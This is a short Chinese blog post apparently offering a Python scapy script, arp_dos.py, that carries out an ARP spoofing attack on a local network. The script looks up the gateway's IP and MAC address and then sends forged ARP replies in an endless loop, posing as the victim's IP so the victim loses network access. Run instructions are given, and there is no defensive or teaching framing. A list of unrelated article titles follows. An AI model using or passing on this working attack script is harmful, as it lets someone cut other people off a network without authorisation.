python 实现ARP攻击
2024-08-26 13:49:03
注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题
#coding:utf-8
#example :sudo python arp_dos.py 192.168.1.103 from scapy.all import ARP,send
import os,re,sys def get_gateway_ip():
t=os.popen('route -n')
for i in t:
if i.startswith('0.0.0.0'):
r=re.split("\s+",i)
return r[1] def get_gateway_hw(ip):
t=os.popen('arp -e %s' % ip)
for i in t:
if i.startswith(ip):
r=re.split("\s+",i)
return r[2] def hack(hackip):
ip=get_gateway_ip()
hw=get_gateway_hw(ip)
arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
#os.popen('ifconfig eth0 %s' % hackip )
while 1:
send(arp) def help():
print ("USEAGE: sudo python arp_dos.py 192.168.1.100") def main():
if len(sys.argv) != 2:
help()
else:
hack(sys.argv[1])
if __name__=="__main__":
main()
最新文章
- NOIp2016 Day1&;Day2 解题报告
- 30.Nginx集群搭建笔记
- jquery 获取form下的所有元素
- BZOJ-1880 Elaxia的路线 SPFA+枚举
- mysql同步
- What is Entity Framework?
- 如何更好辨认House of hello恶搞包的真假
- 操作hadoop的经验积累
- vertor容器
- CentOS 安装开发环境 并安装coTurn
- Jmeter中使用SSH插件,连接远程linux机器执行命令
- Ubuntu系统的nginx启动
- shell 学习笔记二
- linux 中的 open() read() write() close() 函数
- Java通过复选框控件数组实现添加多个复选框控件
- spring-cloud: eureka之:ribbon负载均衡自定义配置(二)
- update 操作用法
- c#中在函数后紧跟=>;,几个意思,差点懵逼到没有朋友!
- hdu1286 找新朋友
- vue - .gitignore
热门文章
- 使用spring的@Async异步执行方法
- xml DTD中的ELEMENT和ATTLIST
- Java多线程中run(), start(), join(), wait(), yield(), sleep()的使用
- 微信小程序-通知滚动小提示
- WiFi共享精灵与路由器
- (二)Linux Shell编程——运算符、注释
- Foundations of Machine Learning: The PAC Learning Framework(2)
- Oracle自定义函数和存储过程示例,自定义函数与存储过程区别
- spring-integration-kafka
- JMeter学习笔记--JMeter前置处理器